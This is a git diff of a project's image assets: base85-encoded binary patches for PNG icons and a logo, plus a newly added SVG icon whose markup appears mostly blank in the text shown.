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 I%ZGRW1)>o55dZ)H literal 0 HcmV?d00001 diff --git a/images/icons/legion_tiny.svg b/images/icons/legion_tiny.svg new file mode 100644 index 00000000..3f718f24 --- /dev/null +++ b/images/icons/legion_tiny.svg @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + L + + + diff --git a/images/icons/logo.png b/images/icons/logo.png index 0d6e7e1caaef223582f1fd0f779d1beb13e674ac..9988263cf3a95a1663adc65dddfdb9eba5e1ee41 100644 GIT binary patch literal 3055 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 Ly&F(rON##|o}#|| delta 659 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 